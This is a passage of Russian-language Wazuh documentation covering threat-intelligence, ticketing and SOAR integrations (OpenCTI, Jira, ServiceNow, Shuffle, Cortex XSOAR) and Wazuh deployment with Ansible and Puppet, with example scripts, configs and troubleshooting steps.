| Хеш файла (SHA256) | `syscheck.sha256_after` | `sha256` |
| URL | `data.url` | `url` |

## Threat Intelligence - OpenCTI

[OpenCTI](https://www.opencti.io/) - платформа управления данными о киберугрозах, поддерживающая стандарты STIX/TAXII.

### Интеграция через TAXII Feed

Wazuh может потреблять IoC из OpenCTI через TAXII-сервер:

1. Настройте экспорт коллекции в OpenCTI с TAXII endpoint
2. Создайте скрипт периодической синхронизации IoC в формат CDB-списков Wazuh:

```bash
#!/bin/bash
# Sync OpenCTI IoC to Wazuh CDB lists
TAXII_URL="https://opencti.example.com/taxii2/feeds"
OUTPUT_DIR="/var/ossec/etc/lists"

# Download IP indicators
curl -sk -H "Authorization: Bearer ${OPENCTI_TOKEN}" \
  "${TAXII_URL}/ip-indicators" \
  | jq -r '.objects[] | select(.type=="indicator") | .pattern' \
  | sed "s/\[ipv4-addr:value = '//;s/'\]//" \
  | while read ip; do echo "${ip}:malicious"; done \
  > "${OUTPUT_DIR}/opencti-malicious-ips"

# Reload Wazuh rules
/var/ossec/bin/wazuh-control reload
```

3. Используйте CDB-список в правилах:

```xml
<rule id="100210" level="12">
  <if_sid>5710</if_sid>
  <list field="srcip" lookup="address_match_key">etc/lists/opencti-malicious-ips</list>
  <description>Connection from IP flagged in OpenCTI threat intelligence: $(srcip)</description>
  <mitre>
    <id>T1071</id>
  </mitre>
  <group>threat_intelligence,opencti,</group>
</rule>
```

## Тикет-системы - Jira

Интеграция с Jira позволяет автоматически создавать задачи при срабатывании критических алертов.

### Настройка Jira Integration

1. Создайте API Token в Jira: **Account Settings** - **Security** - **API Tokens**
2. Установите скрипт интеграции:

```python
#!/usr/bin/env python3
"""Jira integration for Wazuh - automatic ticket creation."""
import sys
import json
import requests
from base64 import b64encode

JIRA_URL = "https://company.atlassian.net"
JIRA_USER = "security-bot@company.com"
JIRA_TOKEN = "YOUR_JIRA_API_TOKEN"
JIRA_PROJECT = "SEC"

def create_ticket(alert: dict) -> dict:
    """Create a Jira issue from a Wazuh alert."""
    rule = alert.get("rule", {})
    agent = alert.get("agent", {})

    level = rule.get("level", 0)
    if level >= 12:
        priority = "Critical"
    elif level >= 10:
        priority = "High"
    elif level >= 7:
        priority = "Medium"
    else:
        priority = "Low"

    issue_data = {
        "fields": {
            "project": {"key": JIRA_PROJECT},
            "summary": f"[Wazuh] {rule.get('description', 'Security Alert')}",
            "description": (
                f"*Alert Details*\n"
                f"- Rule ID: {rule.get('id')}\n"
                f"- Level: {level}\n"
                f"- Agent: {agent.get('name')} ({agent.get('id')})\n"
                f"- Timestamp: {alert.get('timestamp')}\n"
                f"- Full log: {alert.get('full_log', 'N/A')}\n"
            ),
            "issuetype": {"name": "Bug"},
            "priority": {"name": priority},
            "labels": ["wazuh", "security-alert"],
        }
    }

    auth = b64encode(f"{JIRA_USER}:{JIRA_TOKEN}".encode()).decode()
    headers = {
        "Authorization": f"Basic {auth}",
        "Content-Type": "application/json",
    }

    response = requests.post(
        f"{JIRA_URL}/rest/api/3/issue",
        json=issue_data,
        headers=headers,
    )
    return response.json()

def main():
    alert_file = sys.argv[1]
    with open(alert_file) as f:
        alert = json.load(f)
    create_ticket(alert)

if __name__ == "__main__":
    main()
```

3. Настройте в `ossec.conf`:

```xml
<integration>
  <name>custom-jira</name>
  <hook_url>https://company.atlassian.net</hook_url>
  <api_key>YOUR_JIRA_API_TOKEN</api_key>
  <level>10</level>
  <alert_format>json</alert_format>
</integration>
```

## Тикет-системы - ServiceNow

ServiceNow интеграция реализуется через REST API или webhook.

### Настройка через REST API

```python
#!/usr/bin/env python3
"""ServiceNow integration for Wazuh - incident creation."""
import sys
import json
import requests

SNOW_INSTANCE = "company.service-now.com"
SNOW_USER = "wazuh-integration"
SNOW_PASSWORD = "YOUR_PASSWORD"

def create_incident(alert: dict) -> dict:
    """Create a ServiceNow incident from a Wazuh alert."""
    rule = alert.get("rule", {})
    agent = alert.get("agent", {})

    level = rule.get("level", 0)
    urgency_map = {range(12, 16): "1", range(10, 12): "2", range(7, 10): "3"}
    urgency = "3"
    for level_range, urg in urgency_map.items():
        if level in level_range:
            urgency = urg
            break

    incident = {
        "short_description": f"Wazuh Alert: {rule.get('description')}",
        "description": json.dumps(alert, indent=2),
        "urgency": urgency,
        "category": "Security",
        "subcategory": "Threat Detection",
        "assignment_group": "Security Operations",
        "caller_id": "wazuh-integration",
    }

    response = requests.post(
        f"https://{SNOW_INSTANCE}/api/now/table/incident",
        json=incident,
        auth=(SNOW_USER, SNOW_PASSWORD),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    return response.json()

def main():
    alert_file = sys.argv[1]
    with open(alert_file) as f:
        alert = json.load(f)
    create_incident(alert)

if __name__ == "__main__":
    main()
```

### Альтернатива: ServiceNow Webhook

ServiceNow поддерживает Inbound REST API, что позволяет использовать встроенный механизм webhook:

```xml
<integration>
  <name>custom-servicenow</name>
  <hook_url>https://company.service-now.com/api/now/table/incident</hook_url>
  <api_key>BASE64_ENCODED_CREDENTIALS</api_key>
  <level>10</level>
  <alert_format>json</alert_format>
</integration>
```

## SOAR - Shuffle

[Shuffle](https://shuffler.io/) предоставляет визуальный конструктор workflows для автоматизации реагирования на инциденты.

### Расширенная настройка Shuffle

Помимо базовой webhook-интеграции, описанной в разделе [SIEM-интеграции](/docs/wazuh/integrations/wazuh-siem-integrations/), Shuffle поддерживает двустороннее взаимодействие с Wazuh через API.

### Пример workflow: блокировка IP через Active Response

1. **Trigger**: webhook получает алерт от Wazuh
2. **Condition**: проверка уровня алерта >= 10 и наличие srcip
3. **Enrichment**: запрос IP reputation через AbuseIPDB
4. **Decision**: если IP в блоклисте - продолжить
5. **Action**: вызов Wazuh API для запуска Active Response:

```json
{
  "command": "firewall-drop0",
  "arguments": ["-", "srcip", "${srcip}"],
  "alert": {
    "data": {
      "srcip": "${srcip}"
    }
  }
}
```

6. **Notification**: отправка результата в Slack-канал

### Мониторинг работоспособности Shuffle

Для контроля доставки алертов в Shuffle рекомендуется настроить мониторинг:

```xml
<rule id="100220" level="3">
  <decoded_as>json</decoded_as>
  <field name="integration">shuffle</field>
  <description>Shuffle integration: alert forwarded successfully</description>
  <group>integration_health,</group>
</rule>
```

## SOAR - Cortex XSOAR

[Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) (ранее Demisto) - коммерческая SOAR-платформа от Palo Alto Networks.

### Интеграция через Syslog

Cortex XSOAR поддерживает прием данных через syslog. Настройте syslog forwarding в Wazuh:

```xml
<syslog_output>
  <server>xsoar.example.com</server>
  <port>1514</port>
  <format>json</format>
  <level>7</level>
</syslog_output>
```

### Интеграция через REST API

Cortex XSOAR предоставляет REST API для создания инцидентов:

```python
#!/usr/bin/env python3
"""Cortex XSOAR integration for Wazuh."""
import sys
import json
import requests

XSOAR_URL = "https://xsoar.example.com"
XSOAR_API_KEY = "YOUR_XSOAR_API_KEY"

def create_incident(alert: dict) -> dict:
    """Create a Cortex XSOAR incident."""
    rule = alert.get("rule", {})
    severity_map = {
        range(0, 4): 0.5,   # Info
        range(4, 7): 1,     # Low
        range(7, 10): 2,    # Medium
        range(10, 12): 3,   # High
        range(12, 16): 4,   # Critical
    }

    level = rule.get("level", 0)
    severity = 1
    for level_range, sev in severity_map.items():
        if level in level_range:
            severity = sev
            break

    incident = {
        "name": f"Wazuh: {rule.get('description')}",
        "type": "Wazuh Alert",
        "severity": severity,
        "details": json.dumps(alert),
        "labels": [
            {"type": "rule_id", "value": str(rule.get("id"))},
            {"type": "agent", "value": alert.get("agent", {}).get("name", "")},
        ],
    }

    headers = {
        "Authorization": XSOAR_API_KEY,
        "Content-Type": "application/json",
        "Accept": "application/json",
    }

    response = requests.post(
        f"{XSOAR_URL}/incident",
        json=incident,
        headers=headers,
    )
    return response.json()

def main():
    alert_file = sys.argv[1]
    with open(alert_file) as f:
        alert = json.load(f)
    create_incident(alert)

if __name__ == "__main__":
    main()
```

### Playbooks для Wazuh

Cortex XSOAR поддерживает создание playbooks - автоматизированных сценариев реагирования. Рекомендуемые playbooks для Wazuh:

| Playbook | Триггер | Действия |
|---|---|---|
| Brute Force Response | Rule group: `authentication_failed` | Блокировка IP, уведомление SOC, создание тикета |
| Malware Triage | Rule group: `syscheck` + VirusTotal match | Изоляция хоста, сбор артефактов, анализ |
| Vulnerability Management | Rule group: `vulnerability-detector` | Приоритизация CVE, назначение ответственного |

## Устранение неполадок

### Osquery не возвращает результаты

1. Проверьте статус демона Osquery:

```bash
systemctl status osqueryd
```

2. Убедитесь, что путь `<log_path>` в wodle совпадает с реальным расположением лога:

```bash
ls -la /var/log/osquery/osqueryd.results.log
```

3. Проверьте конфигурацию Osquery на ошибки:

```bash
osqueryi --config_path /etc/osquery/osquery.conf --config_check
```

### MISP-интеграция возвращает ошибки

- **SSL-ошибки**: убедитесь, что сертификат MISP доверен на сервере Wazuh, или установите `VERIFY_SSL = False` для тестирования
- **403 Forbidden**: проверьте права API-ключа - необходим как минимум `auth_key` с доступом к атрибутам
- **Таймауты**: увеличьте timeout в requests до 30 секунд для больших баз IoC

### Jira/ServiceNow тикеты не создаются

1. Проверьте сетевую доступность:

```bash
curl -sk https://company.atlassian.net/rest/api/3/serverInfo
```

2. Убедитесь, что API-токен не истек
3. Проверьте права проекта - пользователь интеграции должен иметь разрешение на создание задач

### Shuffle workflow не запускается

1. Проверьте логи integratord:

```bash
grep shuffle /var/ossec/logs/integrations.log
```

2. Убедитесь, что webhook URL в Shuffle активен (зеленый индикатор)
3. Проверьте, что workflow опубликован (не в режиме Draft)

Подробнее о создании собственных скриптов интеграции читайте в разделе [Разработка пользовательских интеграций](/docs/wazuh/development/wazuh-custom-integrations/).


---

# Wazuh через Ansible - автоматизация развертывания

Source: https://opennix.org/docs/wazuh/deployment/wazuh-ansible-deployment/


Ansible позволяет автоматизировать установку и настройку всех компонентов Wazuh 4.14 на произвольном количестве хостов. Официальный репозиторий [wazuh-ansible](https://github.com/wazuh/wazuh-ansible) содержит роли для индексатора, сервера, дашборда и агентов с поддержкой как одноузловой, так и многоузловой архитектуры.

## Предварительные требования

### Управляющий хост (Ansible controller)

- Ansible 2.12 или выше
- Python 3.9+
- SSH-доступ к целевым хостам
- Привилегии sudo на целевых хостах

Проверка версии Ansible:

```bash
ansible --version
```

### Целевые хосты

- 64-битная ОС из [списка поддерживаемых](/docs/wazuh/installation/)
- Доступ в интернет для загрузки пакетов Wazuh (или [офлайн-репозиторий](/docs/wazuh/deployment/wazuh-offline-installation/))
- Открытые порты: 1514, 1515, 9200, 443, 55000

### Установка коллекции

Установите официальные роли Wazuh через Ansible Galaxy:

```bash
ansible-galaxy collection install wazuh.wazuh
```

Или клонируйте репозиторий:

```bash
git clone https://github.com/wazuh/wazuh-ansible.git -b v4.14.3
cd wazuh-ansible
```

## Структура ролей

Коллекция `wazuh.wazuh` содержит следующие роли:

| Роль | Назначение |
|---|---|
| `wazuh.wazuh.wazuh_indexer` | Установка и настройка Wazuh Indexer (OpenSearch) |
| `wazuh.wazuh.wazuh_manager` | Установка и настройка Wazuh Manager |
| `wazuh.wazuh.wazuh_dashboard` | Установка и настройка Wazuh Dashboard |
| `wazuh.wazuh.wazuh_agent` | Установка и настройка Wazuh Agent |

Каждая роль включает шаблоны конфигурации, обработчики перезапуска сервисов и валидацию параметров.

## Inventory

### Одноузловая конфигурация

Файл `inventory/single-node.yml`:

```yaml
all:
  children:
    wazuh_indexer:
      hosts:
        wazuh-node1:
          ansible_host: 192.168.1.10
          ansible_user: deploy
          ansible_become: true
          indexer_node_name: wazuh-indexer-1

    wazuh_manager:
      hosts:
        wazuh-node1:
          manager_type: master

    wazuh_dashboard:
      hosts:
        wazuh-node1:

    wazuh_agent:
      hosts:
        web-server-1:
          ansible_host: 192.168.1.20
          ansible_user: deploy
          ansible_become: true
        db-server-1:
          ansible_host: 192.168.1.21
          ansible_user: deploy
          ansible_become: true
```

### Многоузловая конфигурация

Файл `inventory/multi-node.yml`:

```yaml
all:
  children:
    wazuh_indexer:
      hosts:
        indexer-1:
          ansible_host: 192.168.1.10
          indexer_node_name: wazuh-indexer-1
        indexer-2:
          ansible_host: 192.168.1.11
          indexer_node_name: wazuh-indexer-2
        indexer-3:
          ansible_host: 192.168.1.12
          indexer_node_name: wazuh-indexer-3
      vars:
        ansible_user: deploy
        ansible_become: true

    wazuh_manager:
      hosts:
        manager-master:
          ansible_host: 192.168.1.20
          manager_type: master
        manager-worker:
          ansible_host: 192.168.1.21
          manager_type: worker
      vars:
        ansible_user: deploy
        ansible_become: true

    wazuh_dashboard:
      hosts:
        dashboard-1:
          ansible_host: 192.168.1.30
      vars:
        ansible_user: deploy
        ansible_become: true

    wazuh_agent:
      hosts:
        app-server-[1:10]:
          ansible_user: deploy
          ansible_become: true
```

## Playbook для одноузловой установки

Файл `playbooks/wazuh-single-node.yml`:

```yaml
- name: Install Wazuh Indexer
  hosts: wazuh_indexer
  roles:
    - role: wazuh.wazuh.wazuh_indexer
      vars:
        indexer_cluster_name: wazuh-cluster
        indexer_node_master: true
        indexer_node_data: true
        indexer_network_host: "0.0.0.0"
        indexer_admin_password: "ChangeMe!SecureP@ss1"

- name: Install Wazuh Manager
  hosts: wazuh_manager
  roles:
    - role: wazuh.wazuh.wazuh_manager
      vars:
        wazuh_manager_config:
          cluster:
            disabled: true
          api:
            bind_addr: "0.0.0.0"

- name: Install Wazuh Dashboard
  hosts: wazuh_dashboard
  roles:
    - role: wazuh.wazuh.wazuh_dashboard
      vars:
        dashboard_server_host: "0.0.0.0"
        dashboard_server_port: 443
        indexer_url: "https://{{ hostvars[groups['wazuh_indexer'][0]]['ansible_host'] }}:9200"
```

Запуск playbook:

```bash
ansible-playbook -i inventory/single-node.yml playbooks/wazuh-single-node.yml
```

## Playbook для многоузловой установки

Файл `playbooks/wazuh-multi-node.yml`:

```yaml
- name: Install Wazuh Indexer cluster
  hosts: wazuh_indexer
  roles:
    - role: wazuh.wazuh.wazuh_indexer
      vars:
        indexer_cluster_name: wazuh-cluster
        indexer_cluster_initial_master_nodes:
          - wazuh-indexer-1
          - wazuh-indexer-2
          - wazuh-indexer-3
        indexer_discovery_seed_hosts:
          - "{{ hostvars['indexer-1']['ansible_host'] }}"
          - "{{ hostvars['indexer-2']['ansible_host'] }}"
          - "{{ hostvars['indexer-3']['ansible_host'] }}"
        indexer_admin_password: "ChangeMe!SecureP@ss1"

- name: Install Wazuh Manager cluster
  hosts: wazuh_manager
  roles:
    - role: wazuh.wazuh.wazuh_manager
      vars:
        wazuh_manager_config:
          cluster:
            disabled: false
            name: wazuh-manager-cluster
            node_name: "{{ inventory_hostname }}"
            node_type: "{{ manager_type }}"
            key: "ChangeThisClusterKey123"
            nodes:
              - "{{ hostvars['manager-master']['ansible_host'] }}"
            port: 1516
            bind_addr: "0.0.0.0"
            hidden: false

- name: Install Wazuh Dashboard
  hosts: wazuh_dashboard
  roles:
    - role: wazuh.wazuh.wazuh_dashboard
      vars:
        dashboard_server_host: "0.0.0.0"
        indexer_url: "https://{{ hostvars[groups['wazuh_indexer'][0]]['ansible_host'] }}:9200"

- name: Install Wazuh Agents
  hosts: wazuh_agent
  roles:
    - role: wazuh.wazuh.wazuh_agent
      vars:
        wazuh_manager_address: "{{ hostvars['manager-master']['ansible_host'] }}"
        wazuh_agent_group: "default"
```

Запуск:

```bash
ansible-playbook -i inventory/multi-node.yml playbooks/wazuh-multi-node.yml
```

## Справочник переменных

### Переменные индексатора

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| `indexer_cluster_name` | Имя кластера | `wazuh-cluster` |
| `indexer_node_name` | Имя узла | `wazuh-indexer-1` |
| `indexer_node_master` | Роль master | `true` |
| `indexer_node_data` | Роль data | `true` |
| `indexer_network_host` | Адрес привязки | `0.0.0.0` |
| `indexer_http_port` | HTTP-порт | `9200` |
| `indexer_transport_port` | Transport-порт | `9300` |
| `indexer_admin_password` | Пароль admin | `SecretPassword` |
| `indexer_jvm_xms` | JVM Heap min | `1g` |
| `indexer_jvm_xmx` | JVM Heap max | `1g` |

### Переменные менеджера

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| `wazuh_manager_config.cluster.disabled` | Отключить кластер | `true` |
| `wazuh_manager_config.cluster.name` | Имя кластера | `wazuh` |
| `wazuh_manager_config.cluster.node_type` | Тип узла (master/worker) | `master` |
| `wazuh_manager_config.cluster.key` | Ключ кластера | - |
| `wazuh_manager_config.api.bind_addr` | Адрес привязки API | `0.0.0.0` |
| `wazuh_manager_config.api.port` | Порт API | `55000` |
| `wazuh_manager_authd.enabled` | Включить authd | `true` |
| `wazuh_manager_authd.use_password` | Пароль регистрации | `false` |

### Переменные агента

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| `wazuh_manager_address` | IP/DNS менеджера | - |
| `wazuh_agent_group` | Группа агента | `default` |
| `wazuh_agent_name` | Имя агента | `{{ inventory_hostname }}` |
| `wazuh_agent_enrollment.enabled` | Авторегистрация | `true` |
| `wazuh_agent_enrollment.auth_pass` | Пароль регистрации | - |

## Регистрация агентов через Ansible

### Массовое развертывание агентов

Для развертывания агентов на группу хостов создайте отдельный playbook:

```yaml
- name: Deploy Wazuh agents
  hosts: wazuh_agent
  roles:
    - role: wazuh.wazuh.wazuh_agent
      vars:
        wazuh_manager_address: 192.168.1.20
        wazuh_agent_group: "{{ group_names | join(',') }}"
        wazuh_agent_enrollment:
          enabled: true
          auth_pass: "AgentEnrollmentPassword"
```

### Регистрация с авторизацией по паролю

На менеджере активируйте авторизацию агентов по паролю:

```yaml
- name: Configure manager for password-based enrollment
  hosts: wazuh_manager
  roles:
    - role: wazuh.wazuh.wazuh_manager
      vars:
        wazuh_manager_authd:
          enabled: true
          use_password: true
          password: "AgentEnrollmentPassword"
```

### Проверка регистрации

```bash
ansible wazuh_manager -i inventory/multi-node.yml -m shell \
  -a "/var/ossec/bin/agent_control -l"
```

## Пользовательская конфигурация

### Добавление пользовательских правил

```yaml
- name: Deploy custom rules
  hosts: wazuh_manager
  tasks:
    - name: Copy custom rules
      copy:
        src: files/local_rules.xml
        dest: /var/ossec/etc/rules/local_rules.xml
        owner: wazuh
        group: wazuh
        mode: "0640"
      notify: restart wazuh-manager

  handlers:
    - name: restart wazuh-manager
      service:
        name: wazuh-manager
        state: restarted
```

### Настройка интеграций

```yaml
- name: Configure Slack integration
  hosts: wazuh_manager
  roles:
    - role: wazuh.wazuh.wazuh_manager
      vars:
        wazuh_manager_config:
          integration:
            - name: slack
              hook_url: "https://hooks.slack.com/services/xxx/yyy/zzz"
              level: 10
              alert_format: json
```

## Решение проблем

### Ошибка подключения SSH

**Симптомы:** Ansible не может подключиться к целевому хосту.

**Решение:**

1. Проверьте SSH-доступ вручную:

```bash
ssh deploy@192.168.1.10
```

2. Убедитесь, что SSH-ключ добавлен в `authorized_keys` на целевом хосте

3. Проверьте конфигурацию в `ansible.cfg`:

```ini
[defaults]
host_key_checking = False
timeout = 30
```

### Ошибка установки пакетов

**Симптомы:** роль завершается с ошибкой при установке пакетов Wazuh.

**Решение:**

1. Проверьте доступность репозитория Wazuh с целевого хоста:

```bash
curl -s https://packages.wazuh.com/4.x/apt/ | head -5
```

2. Убедитесь, что GPG-ключ репозитория установлен

3. Для изолированных сетей настройте [офлайн-репозиторий](/docs/wazuh/deployment/wazuh-offline-installation/)

### Кластер индексатора не формируется

**Симптомы:** узлы индексатора запускаются, но не объединяются в кластер.

**Решение:**

1. Проверьте корректность `indexer_discovery_seed_hosts` - должны быть указаны IP-адреса всех узлов

2. Убедитесь, что порт 9300 открыт между узлами

3. Проверьте, что `indexer_cluster_initial_master_nodes` содержит имена всех узлов

### Агент не регистрируется

**Симптомы:** агент установлен, но не отображается в списке.

**Решение:**

1. Проверьте доступность менеджера с хоста агента:

```bash
telnet 192.168.1.20 1515
```

2. Если используется авторизация по паролю, убедитесь, что пароли совпадают на менеджере и агенте

3. Проверьте логи агента:

```bash
tail -50 /var/ossec/logs/ossec.log
```

## Дополнительные материалы

- [Обзор вариантов развертывания](/docs/wazuh/deployment/)
- [Установка Wazuh](/docs/wazuh/installation/)
- [Развертывание Wazuh через Puppet](/docs/wazuh/deployment/wazuh-puppet-deployment/)
- [Официальный репозиторий wazuh-ansible](https://github.com/wazuh/wazuh-ansible)


---

# Wazuh через Puppet - управление конфигурацией

Source: https://opennix.org/docs/wazuh/deployment/wazuh-puppet-deployment/


Модуль wazuh-puppet позволяет управлять установкой и конфигурацией всех компонентов Wazuh 4.14 через Puppet. Модуль предоставляет классы для менеджера, агента, индексатора и дашборда с поддержкой Hiera для централизованного управления параметрами.

## Предварительные требования

### Puppet-инфраструктура

- Puppet Server 7.x или 8.x
- Puppet Agent 7.x или 8.x на целевых узлах
- PuppetDB (рекомендуется для управления экспортированными ресурсами)
- r10k или Code Manager для управления модулями

### Целевые узлы

- 64-битная ОС из [списка поддерживаемых](/docs/wazuh/installation/)
- Доступ в интернет для загрузки пакетов (или [офлайн-репозиторий](/docs/wazuh/deployment/wazuh-offline-installation/))
- Открытые порты: 1514, 1515, 9200, 443, 55000

## Установка модуля

### Из Puppet Forge

```bash
puppet module install wazuh-wazuh
```

### Через Puppetfile (r10k)

Добавьте в `Puppetfile`:

```ruby
mod 'wazuh-wazuh',
  :git => 'https://github.com/wazuh/wazuh-puppet.git',
  :tag => 'v4.14.3'
```

Выполните развертывание:

```bash
r10k deploy environment production
```

### Зависимости модуля

Модуль wazuh-puppet зависит от следующих модулей:

| Модуль | Назначение |
|---|---|
| `puppetlabs-stdlib` | Стандартные функции и типы |
| `puppetlabs-apt` | Управление APT-репозиториями (Debian/Ubuntu) |
| `puppetlabs-concat` | Сборка конфигурационных файлов |
| `puppetlabs-firewall` | Управление правилами firewall (опционально) |

Установите зависимости:

```bash
puppet module install puppetlabs-stdlib
puppet module install puppetlabs-apt
puppet module install puppetlabs-concat
```

## Классы модуля

### Обзор классов

| Класс | Назначение |
|---|---|
| `wazuh::manager` | Установка и настройка Wazuh Manager |
| `wazuh::agent` | Установка и настройка Wazuh Agent |
| `wazuh::indexer` | Установка и настройка Wazuh Indexer |
| `wazuh::dashboard` | Установка и настройка Wazuh Dashboard |
| `wazuh::repo` | Настройка репозитория пакетов Wazuh |

## Развертывание менеджера

### Базовая конфигурация

```puppet
class { 'wazuh::manager':
  ossec_manager_config => {
    'global' => {
      'jsonout_output' => 'yes',
      'logall'         => 'no',
    },
    'cluster' => {
      'disabled'  => 'yes',
      'name'      => 'wazuh-cluster',
      'node_name' => 'manager-master',
      'node_type' => 'master',
      'key'       => 'MyClusterSecretKey',
    },
    'api' => {
      'bind_addr' => '0.0.0.0',
      'port'      => '55000',
    },
  },
  ossec_manager_authd => {
    'enabled'      => 'yes',
    'use_password' => 'no',
    'purge'        => 'no',
  },
}
```

### Конфигурация кластера менеджеров

Для мастер-узла:

```puppet
node 'manager-master.example.com' {
  class { 'wazuh::manager':
    ossec_manager_config => {
      'cluster' => {
        'disabled'  => 'no',
        'name'      => 'wazuh-cluster',
        'node_name' => 'manager-master',
        'node_type' => 'master',
        'key'       => 'MyClusterSecretKey',
        'port'      => '1516',
        'bind_addr' => '0.0.0.0',
        'nodes'     => ['manager-master.example.com'],
      },
    },
  }
}
```

Для worker-узла:

```puppet
node 'manager-worker.example.com' {
  class { 'wazuh::manager':
    ossec_manager_config => {
      'cluster' => {
        'disabled'  => 'no',
        'name'      => 'wazuh-cluster',
        'node_name' => 'manager-worker',
        'node_type' => 'worker',
        'key'       => 'MyClusterSecretKey',
        'port'      => '1516',
        'bind_addr' => '0.0.0.0',
        'nodes'     => ['manager-master.example.com'],
      },
    },
  }
}
```

## Развертывание агентов

### Базовое развертывание

```puppet
class { 'wazuh::agent':
  wazuh_manager_address => '192.168.1.20',
  agent_name            => $facts['hostname'],
  agent_group           => 'default',
  manage_repo           => true,
}
```

### Развертывание с авторизацией по паролю

```puppet
class { 'wazuh::agent':
  wazuh_manager_address       => '192.168.1.20',
  agent_name                  => $facts['hostname'],
  agent_group                 => 'linux-servers',
  ossec_agent_enrollment      => {
    'enabled'       => 'yes',
    'manager_address' => '192.168.1.20',
    'auth_password' => 'AgentEnrollmentPassword',
  },
}
```

### Массовое развертывание через site.pp

```puppet
node /^web-server-\d+\.example\.com$/ {
  class { 'wazuh::agent':
    wazuh_manager_address => '192.168.1.20',
    agent_group           => 'web-servers',
  }
}

node /^db-server-\d+\.example\.com$/ {
  class { 'wazuh::agent':
    wazuh_manager_address => '192.168.1.20',
    agent_group           => 'database-servers',
  }
}
```

## Параметры классов

### Параметры wazuh::manager

| Параметр | Тип | Описание | Значение по умолчанию |
|---|---|---|---|
| `ossec_manager_config` | Hash | Основная конфигурация ossec.conf | См. модуль |
| `ossec_manager_authd` | Hash | Настройки authd | `{'enabled' => 'yes'}` |
| `manage_repo` | Boolean | Управлять репозиторием пакетов | `true` |
| `manage_service` | Boolean | Управлять сервисом systemd | `true` |
| `service_ensure` | String | Состояние сервиса | `running` |
| `service_enable` | Boolean | Автозапуск сервиса | `true` |
| `manage_firewall` | Boolean | Управлять правилами firewall | `false` |

### Параметры wazuh::agent

| Параметр | Тип | Описание | Значение по умолчанию |
|---|---|---|---|
| `wazuh_manager_address` | String | Адрес менеджера | - |
| `agent_name` | String | Имя агента | `$facts['hostname']` |
| `agent_group` | String | Группа агента | `default` |
| `manage_repo` | Boolean | Управлять репозиторием | `true` |
| `manage_service` | Boolean | Управлять сервисом | `true` |
| `ossec_agent_enrollment` | Hash | Настройки автоматической регистрации | `{}` |
| `ossec_agent_config` | Hash | Конфигурация ossec.conf агента | См. модуль |

### Параметры wazuh::indexer

| Параметр | Тип | Описание | Значение по умолчанию |
|---|---|---|---|
| `indexer_cluster_name` | String | Имя кластера | `wazuh-cluster` |
| `indexer_node_name` | String | Имя узла | `wazuh-indexer-1` |
| `indexer_node_master` | Boolean | Роль master | `true` |
| `indexer_node_data` | Boolean | Роль data | `true` |
| `indexer_network_host` | String | Адрес привязки | `0.0.0.0` |
| `indexer_admin_password` | String | Пароль admin | `SecretPassword` |
| `indexer_jvm_xms` | String | JVM Heap min | `1g` |
| `indexer_jvm_xmx` | String | JVM Heap max | `1g` |

## Интеграция с Hiera

### Структура данных Hiera

Файл `data/common.yaml`:

```yaml
wazuh::manager::ossec_manager_config:
  global:
    jsonout_output: 'yes'
    logall: 'no'
  cluster:
    disabled: 'yes'
  api:
    bind_addr: '0.0.0.0'
    port: '55000'

wazuh::manager::ossec_manager_authd:
  enabled: 'yes'
  use_password: 'no'

wazuh::agent::wazuh_manager_address: '192.168.1.20'
wazuh::agent::agent_group: 'default'
wazuh::agent::manage_repo: true
```

### Переопределение по окружению

Файл `data/environments/production.yaml`:

```yaml
wazuh::manager::ossec_manager_config:
  cluster:
    disabled: 'no'
    name: 'prod-wazuh-cluster'
    key: '%{lookup("wazuh_cluster_key")}'

wazuh::indexer::indexer_admin_password: '%{lookup("wazuh_indexer_password")}'
```

### Переопределение по роли узла

Файл `data/roles/web-server.yaml`:

```yaml
wazuh::agent::agent_group: 'web-servers'
wazuh::agent::ossec_agent_config:
  syscheck:
    frequency: '43200'
    directories:
      - path: '/var/www'
        check_all: 'yes'
        realtime: 'yes'
```

### Секреты через Hiera eyaml

Для защиты паролей используйте hiera-eyaml:

```yaml
wazuh_cluster_key: >
  ENC[PKCS7,MIIBiQYJKoZIhvcNAQcDoIIBejCCAXYCAQAx...]
wazuh_indexer_password: >
  ENC[PKCS7,MIIBiQYJKoZIhvcNAQcDoIIBejCCAXYCAQAx...]
```

## Решение проблем

### Модуль не найден

**Симптомы:** ошибка `Could not find class wazuh::manager`.

**Решение:**

1. Проверьте установку модуля:

```bash
puppet module list | grep wazuh
```

2. Убедитесь, что `modulepath` в `puppet.conf` содержит каталог с модулем

3. При использовании r10k выполните повторное развертывание:

```bash
r10k deploy environment production -pv
```

### Агент не запускается после применения манифеста

**Симптомы:** Puppet отчитывается об успешном применении, но сервис wazuh-agent не запущен.

**Решение:**

1. Проверьте статус сервиса:

```bash
systemctl status wazuh-agent
```

2. Проверьте логи агента:

```bash
tail -50 /var/ossec/logs/ossec.log
```

3. Убедитесь, что `wazuh_manager_address` указывает на доступный менеджер

### Конфликт версий модулей

**Симптомы:** ошибки зависимостей при установке модуля.

**Решение:**

1. Обновите зависимости:

```bash
puppet module install wazuh-wazuh --force
```

2. Проверьте совместимость версий в `metadata.json` модуля

3. При использовании Puppetfile зафиксируйте конкретные версии зависимостей

### Hiera-данные не применяются

**Симптомы:** параметры из Hiera игнорируются, применяются значения по умолчанию.

**Решение:**

1. Проверьте иерархию Hiera:

```bash
puppet lookup --explain wazuh::agent::wazuh_manager_address
```

2. Убедитесь, что `hiera.yaml` содержит корректные пути к файлам данных

3. Проверьте синтаксис YAML-файлов данных

## Дополнительные материалы

- [Обзор вариантов развертывания](/docs/wazuh/deployment/)
- [Развертывание Wazuh через Ansible](/docs/wazuh/deployment/wazuh-ansible-deployment/)
- [Установка Wazuh](/docs/wazuh/installation/)
- [Официальный модуль wazuh-puppet](https://github.com/wazuh/wazuh-puppet)


---

# Архитектура Wazuh - компоненты, потоки данных, порты

Source: https://opennix.org/docs/wazuh/getting-started/wazuh-architecture/


Wazuh использует распределенную архитектуру, состоящую из четырех основных компонентов: агент, сервер (менеджер), индексатор и дашборд. Каждый компонент выполняет определенную роль в процессе сбора, анализа, хранения и визуализации данных безопасности. Понимание архитектуры необходимо для корректного планирования развертывания и масштабирования платформы.

## Обзор архитектуры

